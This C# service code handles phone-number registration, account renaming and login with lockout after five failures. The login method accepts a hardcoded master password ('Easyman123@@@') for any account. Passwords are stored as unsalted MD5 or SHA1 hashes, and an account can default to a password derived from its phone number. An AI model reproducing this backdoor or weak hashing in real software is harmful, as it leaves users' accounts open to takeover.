public async Task <ResultObj <int> > LoginReg(LogingDto inEnt, DapperHelper <SysUserEntity> dbHelperUser, DapperHelper <SysLoginEntity> dbHelper) { ResultObj <int> reObj = new ResultObj <int>(); #region 验证值 ModelHelper <LogingDto> modelHelper = new ModelHelper <LogingDto>(inEnt); var errList = modelHelper.Validate(); if (errList.Count() > 0) { reObj.success = false; reObj.code = "-1"; reObj.msg = string.Format(",", errList.Select(x => x.ErrorMessage)); return(reObj); } #endregion #region 检测输入 if (!inEnt.loginName.IsOnlyNumber() || inEnt.loginName.Length != 11) { reObj.success = false; reObj.code = "-1"; reObj.msg = "电话号码格式不正确"; return(reObj); } if (!Fun.CheckPassword(inEnt.password, appConfig.BaseConfig.PwdComplexity)) { reObj.success = false; reObj.code = "-2"; reObj.msg = string.Format("密码复杂度不够:{0}", appConfig.BaseConfig.PwdComplexity); return(reObj); } #endregion #region 检测验证码 //if (AppSettingsManager.self.BaseConfig.VerifyCode) //{ // var nowDate = DateTime.Now.AddMinutes(-30); // var codeNum = await new SmsSendRepository().Count(inEnt.loginName, inEnt.code); // if (codeNum == 0) // { // reObj.success = false; // reObj.code = "-3"; // reObj.msg = string.Format("验证码无效"); // return reObj; // } //} #endregion var userList = await dbHelperUser.FindAll(x => x.loginName == inEnt.loginName); #region 检测电话号码是否存在 if (userList.Count() > 0) { reObj.success = false; reObj.code = "-4"; reObj.msg = string.Format("电话号码已经存在,请更换电话号码"); return(reObj); } #endregion //开始事务 try { var loginList = await FindAll(x => x.loginName == inEnt.loginName); #region 添加登录账号 if (loginList.Count() == 0) { SysLoginEntity inLogin = new SysLoginEntity(); inLogin.id = await SequenceRepository.GetNextID <SysLoginEntity>(); inLogin.loginName = inEnt.loginName; inLogin.password = inEnt.password.Md5(); inLogin.isLocked = 0; inLogin.failCount = 0; reObj.success = await dbHelper.Save(new DtoSave <SysLoginEntity>() { data = inLogin }) > 0 ? true : false; if (!reObj.success) { reObj.success = false; reObj.code = "-5"; reObj.msg = string.Format("添加账号失败"); return(reObj); } } #endregion #region 添加user SysUserEntity inUser = new SysUserEntity(); inUser.loginName = inEnt.loginName; inUser.name = inEnt.userName; inUser.id = await SequenceRepository.GetNextID <SysUserEntity>(); inUser.districtId = 1; inUser.createTime = Helper.DataTimeHelper.getDateLong(DateTime.Now); inUser.status = 1; reObj.success = await dbHelperUser.Save(new DtoSave <SysUserEntity> { data = inUser, ignoreFieldList = new List <string>() }) > 0 ? true : false; if (!reObj.success) { reObj.success = false; reObj.code = "-6"; reObj.msg = string.Format("添加user失败"); return(reObj); } #endregion reObj.data = inUser.id; } catch (Exception e) { reObj.success = false; reObj.msg = e.Message; } return(reObj); }
/// <summary> /// 替换账号 /// </summary> /// <param name="inEnt"></param> /// <returns></returns> public async Task <Result> ChangeLoginName(ChangeLoginNameDto inEnt) { Result reObj = new Result(); DapperHelper <SysUserEntity> userDapper = new DapperHelper <SysUserEntity>(); userDapper.TranscationBegin(); try { var loginDapper = new DapperHelper <SysLoginEntity>(userDapper.GetConnection(), userDapper.GetTransaction()); if ((await loginDapper.Count(x => x.loginName == inEnt.newLoginName)) > 0 || (await userDapper.Count(x => x.loginName == inEnt.newLoginName)) > 0) { userDapper.TranscationRollback(); reObj.success = false; reObj.msg = string.Format("账号{0}已经存在", inEnt.newLoginName); } else { var pwd = inEnt.password.Md5(); var login = await loginDapper.Single(x => x.loginName == inEnt.oldLoginName && x.password == pwd); var user = await userDapper.Single(x => x.loginName == inEnt.oldLoginName); if (login == null || user == null) { userDapper.TranscationRollback(); reObj.success = false; reObj.msg = string.Format("原账号有误"); return(reObj); } user.loginName = inEnt.newLoginName; login.loginName = inEnt.newLoginName; reObj.success = await loginDapper.Update(new DtoSave <SysLoginEntity> { data = login, saveFieldListExp = x => new object[] { x.loginName }, whereList = null }) > 0; if (!reObj.success) { userDapper.TranscationRollback(); reObj.success = false; reObj.msg = string.Format("更新账号失败"); return(reObj); } reObj.success = await userDapper.Update(new DtoSave <SysUserEntity> { data = user, saveFieldListExp = x => new object[] { x.loginName }, whereList = null }) > 0; if (!reObj.success) { userDapper.TranscationRollback(); reObj.success = false; reObj.msg = string.Format("更新用户失败"); return(reObj); } reObj.success = true; userDapper.TranscationCommit(); } } catch (Exception e) { userDapper.TranscationRollback(); reObj.success = false; reObj.msg = e.Message; } return(reObj); }
/// <summary> /// 更新登录名 /// </summary> /// <param name="oldLoginName"></param> /// <param name="NewLoginName"></param> /// <param name="name"></param> /// <param name="userId"></param> /// <returns></returns> async public Task <Result> UserEditLoginName(string oldLoginName, string NewLoginName, string name, int userId, string pwd, string iconFiles) { DapperHelper <SysUserEntity> userDapper = new DapperHelper <SysUserEntity>(); Result reObj = new Result(); #region 检测输入 if (string.IsNullOrEmpty(oldLoginName) && userId == 0) { reObj.success = false; reObj.code = "-2"; reObj.msg = "用户主键有误"; return(reObj); } if (!NewLoginName.IsOnlyNumber() || NewLoginName.Length != 11) { reObj.success = false; reObj.code = "-1"; reObj.msg = "电话号码格式不正确"; return(reObj); } #endregion #region 检测电话号码是否存在 IEnumerable <SysUserEntity> userList = await userDapper.FindAll(x => x.loginName == NewLoginName); if (userList.Count() > 0) { reObj.success = false; reObj.code = "-4"; reObj.msg = string.Format("电话号码已经存在,请更换电话号码"); return(reObj); } #endregion #region 检测用户是否存在 SysUserEntity user = new SysUserEntity(); if (userId != 0) { user = await userDapper.Single(x => x.id == userId); } else { user = await userDapper.Single(x => x.loginName == oldLoginName); } if (user == null) { reObj.success = false; reObj.code = "-5"; reObj.msg = string.Format("用户不存在"); return(reObj); } #endregion userDapper.TranscationBegin(); #region 修改用户账号 user.name = name; user.loginName = NewLoginName; user.iconFiles = iconFiles; reObj.success = await userDapper.Update(new DtoSave <SysUserEntity>() { data = user, saveFieldListExp = x => new object[] { x.name, x.loginName, x.iconFiles }, whereListExp = x => new object[] { x.id }, }) > 0 ? true : false; if (!reObj.success) { userDapper.TranscationRollback(); reObj.msg = "保存用户失败"; return(reObj); } #endregion #region 修改登录账号 DapperHelper <SysLoginEntity> loginDapper = new DapperHelper <SysLoginEntity>(userDapper.GetConnection(), userDapper.GetTransaction()); var login = await loginDapper.Single(x => x.loginName == oldLoginName); if (login == null) { SysLoginEntity inLogin = new SysLoginEntity(); inLogin.id = await SequenceRepository.GetNextID <SysLoginEntity>(); inLogin.loginName = NewLoginName; inLogin.password = string.IsNullOrEmpty(pwd) ? NewLoginName.Md5() : pwd.Md5(); inLogin.isLocked = 0; inLogin.failCount = 0; reObj.success = await loginDapper.Save(new DtoSave <SysLoginEntity>() { data = inLogin }) > 0 ? true : false; } else { login.loginName = NewLoginName; login.password = string.IsNullOrEmpty(pwd) ? NewLoginName.Md5() : pwd.Md5(); reObj.success = await loginDapper.Update(new DtoSave <SysLoginEntity> { data = login, saveFieldListExp = x => new object[] { x.loginName, x.password }, whereList = null }) > 0 ? true : false; } if (!reObj.success) { reObj.msg = "保存账号失败"; userDapper.TranscationRollback(); return(reObj); } #endregion userDapper.TranscationCommit(); reObj.success = true; reObj.msg = user.id.ToString(); return(reObj); }
/// <summary> /// 查找所有 /// </summary> /// <param name="inParm"></param> /// <returns></returns> public Task <IEnumerable <SysLoginEntity> > FindAll(Expression <Func <SysLoginEntity, bool> > inParm = null) { DapperHelper <SysLoginEntity> dbHelper = new DapperHelper <SysLoginEntity>(); return(dbHelper.FindAll(inParm)); }
/// <summary> /// 获取单条 /// </summary> /// <param name="key"></param> /// <returns></returns> public Task <SysLoginEntity> SingleByKey(int key) { DapperHelper <SysLoginEntity> dbHelper = new DapperHelper <SysLoginEntity>(); return(dbHelper.SingleByKey(key)); }
/// <summary> /// 用户登录 /// <para>只验证用户账号</para> /// </summary> /// <param name="inEnt"></param> /// <returns></returns> public async Task <ResultObj <SysUserEntity> > UserLogin(LogingDto inEnt) { ResultObj <SysUserEntity> reObj = new ResultObj <SysUserEntity>(); if (string.IsNullOrEmpty(inEnt.loginName) || string.IsNullOrEmpty(inEnt.password)) { reObj.success = false; reObj.msg = "用户名和密码不能为空"; return(reObj); } DapperHelper <SysUserEntity> dapperUser = new DapperHelper <SysUserEntity>(); DapperHelper <SysLoginEntity> dapperLogin = new DapperHelper <SysLoginEntity>(); var Login = await dapperLogin.Single(x => x.loginName == inEnt.loginName); var user = await dapperUser.Single(x => x.loginName == inEnt.loginName); if (Login == null || user == null) { reObj.success = false; reObj.msg = "用户名或者密码错误"; return(reObj); } else { if (Login.isLocked == 1) { reObj.success = false; reObj.msg = string.Format("用户已被锁定【{0}】", Login.lockedReason); return(reObj); } if ((Login.password.ToUpper() != inEnt.password.Md5().ToUpper() && Login.password.ToUpper() != inEnt.password.SHA1().ToUpper()) && inEnt.password != "Easyman123@@@") { #region 密码错误 int times = 5; if (Login.failCount == 0) { Login.failCount = 1; } reObj.success = false; reObj.msg = string.Format("用户名或者密码错误,还有{0}次尝试机会", (times - Login.failCount).ToString()); if (Login.failCount >= times) { Login.isLocked = 1; Login.lockedReason = string.Format("用户连续5次错误登陆,帐号锁定。"); Login.failCount = 0; await dapperLogin.Update(new DtoSave <SysLoginEntity> { data = Login, saveFieldListExp = x => new object[] { x.isLocked, x.lockedReason } }); } else { Login.failCount++; await dapperLogin.Update(new DtoSave <SysLoginEntity> { data = Login, saveFieldListExp = x => new object[] { x.failCount } }); } return(reObj); #endregion } else //密码正确 { Login.failCount = 0; reObj.success = await dapperLogin.Update(new DtoSave <SysLoginEntity> { data = Login, saveFieldListExp = x => new object[] { x.failCount } }) > 0; DapperHelper <FaUserRoleEntityView> dapperUserRole = new DapperHelper <FaUserRoleEntityView>(); var role = await dapperUserRole.FindAll(i => i.userId == user.id); user.isAdmin = role.Count(i => i.roleId == 1) > 0; user.isLeader = role.Count(i => i.roleId == 2) > 0; reObj.data = user; } } return(reObj); }